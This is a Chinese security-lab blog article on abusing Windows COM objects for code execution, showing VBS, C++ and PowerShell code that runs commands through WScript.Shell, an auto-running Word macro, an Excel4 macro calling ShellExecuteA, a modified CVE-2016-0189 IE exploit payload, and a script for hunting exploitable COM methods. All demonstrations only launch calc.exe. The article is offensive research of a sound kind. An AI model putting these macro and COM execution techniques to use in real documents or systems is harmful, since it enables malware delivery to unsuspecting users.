COM 对象的利用与挖掘4
作者:Joey@天玄安全实验室
前言
本文在FireEye的研究Hunting COM Objects[1]的基础上,讲述COM对象在IE漏洞、shellcode和Office宏中的利用方式以及如何挖掘可利用的COM对象,获取新的漏洞利用方式。
COM对象简述
COM(微软组件对象模型),是一种独立于平台的分布式系统,用于创建可交互的二进制软件组件。 COM 是 Microsoft 的 OLE (复合文档) 和 ActiveX (支持 Internet 的组件) 技术的基础技术。
注册表项:HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID下,包含COM对象的所有公开的信息,图中显示了Wscript.Shell对象在注册表中的信息:

其中{72C24DD5-D70A-438B-8A42-98424B88AFB8}就是该对象的CLSID。如果将COM对象比作人的话,CLSID就相当于身份证号,每个COM对象的CLSID都是唯一且不重复的。当然,如果只有身份证号,会有很多不方便的情况,于是便有自己的名字。那么COM对象中的ProgID就相当于它的名字,图中的COM对象ProgID为WScript.Shell.1:

而InProcServer32表示该COM对象位于哪个PE文件中,图中表示WScript.Shell对象位于C:\Windows\System32\wshom.ocx中:

有了上述的信息后,接下来便可以通过这些信息去使用COM对象了。
COM对象的利用
COM对象可以通过脚本语言(VBS、JS)、高级语言(C++)和powershell创建。接下来分别介绍这三种创建方式。
脚本语言创建COM对象
通过脚本语言,我们可以很轻易的创建一个COM对象,使用VBS创建Wscript.Shell对象:
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"
运行效果如图:

CreateObject方法使用COM对象的ProgID:Wscript.Shell来创建对象,创建完成后便能调用该对象的Run方法通过cmd起calc。除了使用ProgID,还可以使用Wscript.Shell对象的CLSID来创建:
Dim Shell
Set Shell = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8")
Shell.Run "cmd /c calc.exe"
这种方法的好处是当想要创建的COM对象没有ProgID时,便可以通过CLSID进行创建。接下来对CVE-2016-0189[2]的EXP进行改造,将EXP中如下vbs代码替换成创建Wscript.Shell即可。
替换前:
' Execute cmd
Set Object = CreateObject("Shell.Application")
Object.ShellExecute "cmd"
替换后:
' Execute cmd
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"
最终实现效果:

接下来讲述COM对象在Office宏中的利用,以Office2019为例,在word文档中创建如下宏代码:
Sub AutoOpen()
Dim Shell
Set Shell = CreateObject("Wscript.Shell")
Shell.Run "cmd /c calc.exe"
End Sub
打开文件后,会提示宏已被禁用:

点击启用宏后,使用cmd起计算器:

用法和IE中一致,就不再赘述了。
通过高级语言创建COM对象
如果想通过高级语言(这里以C++为例)使用COM对象的话,必须要明白微软定义的COM三大接口类:IUnknown[3]、IClassFactory[4]和IDispatch[5]。
参考COM三大接口:IUnknown、IClassFactory、IDispatch[6]一文。COM规范规定任何组件、任何接口都必须从IUnknown继承,IUnknown内包含3个函数:QueryInterface、AddRef和Release。QueryInterface用于查询组件实现的其它接口,AddRef用于增加引用计数,Release用于减少引用计数。根据本人的理解,QueryInterface用来获取IClassFactory类的的接口,AddRef和Release用于控制装载后InProcServer32所在PE文件的生命周期。当引用计数大于0时,内存中始终存在一个PE文件可以创建COM对象,当引用计数等于0时,系统会将内存中的PE文件释放掉,也就无法对该COM对象进行任何操作了。
IClassFactory的作用是创建COM组件,通过类中CreateInstance函数即可创建一个可以使用的COM对象。有了对象还不够,必须要使用对象中的各种函数来执行功能,于是便要使用IDispatch接口类来获取函数和执行函数。
IDispatch叫做调度接口,IDispatch类中的GetIDsOfNames函数可以通过IClassFactory创建的COM对象的函数名获取对应的函数ID(IID),通过这个ID就可以使用IDispatch类中的Invoke函数来执行COM对象中方法。最后将相关的资源使用IUnknown->Release函数释放,即可完成一次完整的COM对象调用过程。图中所示就是具体的实现流程:

不过在实际使用中,并不会直接使用IUnknown接口类的函数,因为极易因为程序员的疏忽忘记释放一个接口或者多释放一个接口导致错误,因此使用图中函数CoCreateInstance就能直接创建一个类的接口。也就是说一个函数封装了IUnknown类和IClassFactory类的功能,能够简化流程。
下面是创建WScript.Shell对象,使用Run方法起powershell的完整代码:
#define _WIN32_DCOM
using namespace std;
#include <comdef.h>
#pragma comment(lib, "stdole2.tlb")
int main(int argc, char** argv)
{
HRESULT hres;
// Step 1: ------------------------------------------------
// 初始化COM组件. ------------------------------------------
hres = CoInitializeEx(0, COINIT_MULTITHREADED);
// Step 2: ------------------------------------------------
// 初始化COM安全属性 ---------------------------------------
hres = CoInitializeSecurity(
NULL,
-1, // COM negotiates service
NULL, // Authentication services
NULL, // Reserved
RPC_C_AUTHN_LEVEL_DEFAULT, // Default authentication
RPC_C_IMP_LEVEL_IMPERSONATE, // Default Impersonation
NULL, // Authentication info
EOAC_NONE, // Additional capabilities
NULL // Reserved
);
// Step 3: ---------------------------------------
// 获取COM组件的接口和方法 -------------------------
LPDISPATCH lpDisp;
CLSID clsidshell;
hres = CLSIDFromProgID(L"WScript.Shell", &clsidshell);
if (FAILED(hres))
return FALSE;
hres = CoCreateInstance(clsidshell, NULL, CLSCTX_INPROC_SERVER, IID_IDispatch, (LPVOID*)&lpDisp);
if (FAILED(hres))
return FALSE;
LPOLESTR pFuncName = L"Run";
DISPID Run;
hres = lpDisp->GetIDsOfNames(IID_NULL, &pFuncName, 1, LOCALE_SYSTEM_DEFAULT, &Run);
if (FAILED(hres))
return FALSE;
// Step 4: ---------------------------------------
// 填写COM组件参数并执行方法 -----------------------
VARIANTARG V[1];
V[0].vt = VT_BSTR;
V[0].bstrVal = _bstr_t(L"cmd /c calc.exe");
DISPPARAMS disParams = { V, NULL, 1, 0 };
hres = lpDisp->Invoke(Run, IID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &disParams, NULL, NULL, NULL);
if (FAILED(hres))
return FALSE;
// Clean up
//--------------------------
lpDisp->Release();
CoUninitialize();
return 1;
}
步骤一、二都是用来初始化调用COM对象,步骤三使用了CoCreateInstance创建了WScript.Shell对象的IDispatch类接口,使用GetIDsOfNames函数获得了Run函数的ID。步骤四通过函数ID使用Invoke函数执行了Run方法起calc,最终运行的效果和IE的EXP一致,这里就不再展示了。
那么,如此复杂的方式相比VBS有什么好处呢?那就是可以将C++代码通过shellcode生成框架转化为shellcode,生成后的shellcode比VBS能用在更多的地方,更加灵活,至于如何将代码转换成shellcode本文就不再讲述了。
通过powershell创建COM对象
接下来就是最后一种创建COM对象的方式:使用powershell创建COM对象。使用powershell一样可以分别通过ProgID和CLSID创建,通过$shell = [Activator]::CreateInstance([type]::GetTypeFromProgID("WScript.Shell"))命令即可通过ProgID创建WSH对象,而通过$shell = [Activator]::CreateInstance([type]::GetTypeFromCLSID("72C24DD5-D70A-438B-8A42-98424B88AFB8"))则可以通过CLSID创建,下图是通过CLSID创建后的效果:

通过这种创建COM对象的方式,我们便可以编写powershell脚本进行COM对象的遍历了,获取计算机中大部分COM对象的方法和属性了。
COM对象的挖掘
这部分的内容参考了FIREEYE的研究进行,利用powershell脚本遍历COM对象的方式成功挖掘到一种利用方式,故此分享。
已公开COM对象利用挖掘
首先需要遍历系统中所有COM对象的CLSID,于是编写powershell脚本,将CLSID输出到txt文本中:
New-PSDrive -PSProvider registry -Root HKEY_CLASSES_ROOT -Name HKCR
Get-ChildItem -Path HKCR:\CLSID -Name | Select -Skip 1 > clsids.txt
生成的clsid.txt如图所示:

接着利用这些clsid通过powershell创建对应的COM对象,并且使用Get-Member方法获取对应的方法和属性,并最终输出到文本中,pwoershell脚本如下:
$Position = 1
$Filename = "clsid-members.txt"
$inputFilename = "clsids.txt"
ForEach($CLSID in Get-Content $inputFilename) {
Write-Output "$($Position) - $($CLSID)"
Write-Output "------------------------" | Out-File $Filename -Append
Write-Output $($CLSID) | Out-File $Filename -Append
$handle = [activator]::CreateInstance([type]::GetTypeFromCLSID($CLSID))
$handle | Get-Member | Out-File $Filename -Append
$Position += 1
}
脚本运行期间可能会打开各种软件,甚至会退出,需要截取clsid重新运行。运行后的文本内容为:

通过搜索关键词:execute、exec、和run,能够发现不少可以利用的COM对象。本人由于在研究宏相关的COM利用,于是尝试了关键字ExecuteExcel4Macro,结果意外的收获到了COM对象Microsoft.Office.Interop.Excel.GlobalClass:

于是使用ExecuteExcel4Macro函数加载shell32.dll中的ShellExecuteA成功起calc:
Sub Auto_Open()Set execl = GetObject("new:00020812-0000-0000-C000-000000000046")execl.ExecuteExcel4Macro ("CALL(""shell32"", ""ShellExecuteA"", ""JJJCJJH"", -1, 0, ""CALC"", 0, 0, 5)")End Sub

未公开COM对象利用挖掘
对于已经公开的COM对象挖掘较为容易,当面对未公开的COM对象时,就需要通过逆向挖掘利用。比如位于C:\windows\system32\wat\watweb.dll中的WatWeb.WatWebObject对象公开了一个名为LaunchSystemApplication的方法,在oleview中能看到需要3个参数:

但仅凭这些信息无法确定该方法是否能起任意进程,于是逆向查看LaunchSystemApplication,由于有调试符号,因此可以直接定位到该方法:

LaunchSystemApplication调用LaunchSystemApplicationInternal,进入查看发现调用了CreateProcess,有利用的可能:

但是可以看到调用了IsApprovedApplication方法进行校验,进入查看:


发现需要校验传入的字符串为slui.exe,同时会将该字符串附加到系统路径下,因此并不能随意执行进程。尽管最终没有利用成功,但是这种思路可以帮助分析其他未知的COM对象,挖掘到更多的利用方式。
结论
COM对象功能强大,灵活便捷,可以用于浏览器、脚本、Office宏、shellcode和powershell。通过powershell遍历系统中的COM对象,结合逆向分析更有可能发现未公开的利用方式。
更多内容请前往微信公众号:天玄安全实验室
参考链接
[1] FireEye-Hunting COM Objects
[2] Github-Brian Pak-CVE-2016-0189-exploit
[4] Microsoft-IClassFactory接口说明文档
[6] CSDN-COM三大接口:IUnknown、IClassFactory、IDispatch
COM 对象的利用与挖掘4的更多相关文章
- 安全学习概览——恶意软件分析、web渗透、漏洞利用和挖掘、内网渗透、IoT安全分析、区块链、黑灰产对抗
1 基础知识1.1 网络熟悉常见网络协议:https://www.ietf.org/standards/rfcs/1.2 操作系统1.3 编程2 恶意软件分析2.1 分类2.1.1 木马2.1.2 B ...
- 不创建实体对象,利用newstonjson得到json格式字符串,键对应的值
1.Json字符串嵌套格式解析 string jsonText = "{\"beijing\":{\"zone\":\"海淀\", ...
- 【Unity】3.1 利用内置的3D对象创建三维模型
分类:Unity.C#.VS2015 创建日期:2016-04-02 一.基本概念 Unity已经内置了一些基本的3D对象,利用这些内置的3D对象就可以直接构建出各种3D模型(当然,复杂的三维模型还需 ...
- Python与数据库[2] -> 关系对象映射/ORM[5] -> 利用 sqlalchemy 实现关系表查询功能
利用 sqlalchemy 实现关系表查询功能 下面的例子将完成一个通过关系表进行查询的功能,示例中的数据表均在MySQL中建立,建立过程可以使用 SQL 命令或编写 Python 适配器完成. 示例 ...
- Java基础/利用fastjson反序列化json为对象和对象数组
利用fastjson反序列化json为对象和对象数组 利用 fastjosn 将 .json文件 反序列化为 java.class 和 java.util.List fastjson 是一个性能很好的 ...
- Web挖掘技术
一.数据挖掘 数据挖掘是运用计算机及信息技术,从大量的.不全然的数据集中获取隐含在当中的实用知识的高级过程.Web 数据挖掘是从数据挖掘发展而来,是数据挖掘技术在Web 技术中的应用.Web 数据 ...
- vmware漏洞之三——Vmware虚拟机逃逸漏洞(CVE-2017-4901)Exploit代码分析与利用
本文简单分析了代码的结构.有助于理解. 转:http://www.freebuf.com/news/141442.html 0×01 事件分析 2017年7月19 unamer在其github上发布了 ...
- Effective Java笔记一 创建和销毁对象
Effective Java笔记一 创建和销毁对象 第1条 考虑用静态工厂方法代替构造器 第2条 遇到多个构造器参数时要考虑用构建器 第3条 用私有构造器或者枚举类型强化Singleton属性 第4条 ...
- 使用Emit把Datatable转换为对象集合(List<T>)
Emit生成动态方法部分摘自网上,但是经过修改,加入了对委托的缓存以及类结构的调整,使之调用更简洁方便.大致的思路是:要实现转换datatable到某个指定对象的集合,本质是实现转换一个datarow ...
- 【MongoDB】递归获取字段更新表达式,更新复杂数据类型对象
在实际更新Mongo对象时发现,原有的更新代码无法更新复杂的数据类型对象.恰好看到张占岭老师有对该方法做相关的改进,因此全抄了下来. 总的核心思想就是运用反射与递归,对对象属性一层一层挖掘下去,循环创 ...
随机推荐
- mybatis:自定义映射关系resultMap
创建表t_emp 定义实体类 package org.example.entity; public class Emp { private Integer empId; private String ...
- CF1137F Matches Are Not a Child's Play 题解
以最后被删去的点为根,这样子不会存在从父亲然后删掉某个点,儿子的删除顺序一定比父亲前. 记每个点子树中的最大值为 \(f_x\),那么一个点的排名,首先就需要加上 \(<f_x\) 的所有值,记 ...
- selenium用executeAsyncScript执行异步脚本调用callback使用方法
executeAsyncScript的作用: 就是把异步的js过程变成java同步的形式,方便java程序及时的接收到同步数据 1.cmdriver.manage().timeouts().scrip ...
- Word14 互联网络发展状况统计报告office真题
1.课程的讲解之前,先来对题目进行分析,首先需要在考生文件夹下,将Wrod素材.docx文件另存为Word.docx,后续操作均基于此文件,否则不得分. 2.这一步非常的简单,打开下载素材文件,在[文 ...
- javascript的属性描述符
什么是属性描述对象(attributes object)? 顾名思义,就是用来描述对象属性的对象.javascript内部提供了一个数据结构,用来描述对象的属性以及控制属性的行为. 比如该对象的某属性 ...
- tcl编程
目录 0. 基础语法 0.1 普通变量 0.2 list, 列表 0.3 array, 数组 0.4 循环 0.4.1 for 0.4.2 foreach 1. 从命令行获取参数(好像并不是很强大) ...
- VUE学习-表单输入绑定
表单输入绑定 v-model 可以用 v-model 指令在表单 <input>.<textarea> 及 <select> 元素上创建双向数据绑定. v-mode ...
- golang流程控制if,switch分支
if 分支 if 单分支 if 条件表达式 { 逻辑代码 } package main import "fmt" func main() { //var a int = 9 //i ...
- having对聚合函数的结果集进行过滤
SELECT rl.road_code,string_agg(distinct rs.tech_level_label, ',') from road_lst rlleft join road_sec ...
- "人生重开模拟器",10分钟轻松搭建!
人生重开模拟器是最近爆火的一款非常好玩的模拟游戏,会带你走入一个有趣的世界,开启全新的人生旅程,即"人生重开". 然而实际上,这款游戏短短在3天内上线,在百度贴吧.朋友圈.QQ群. ...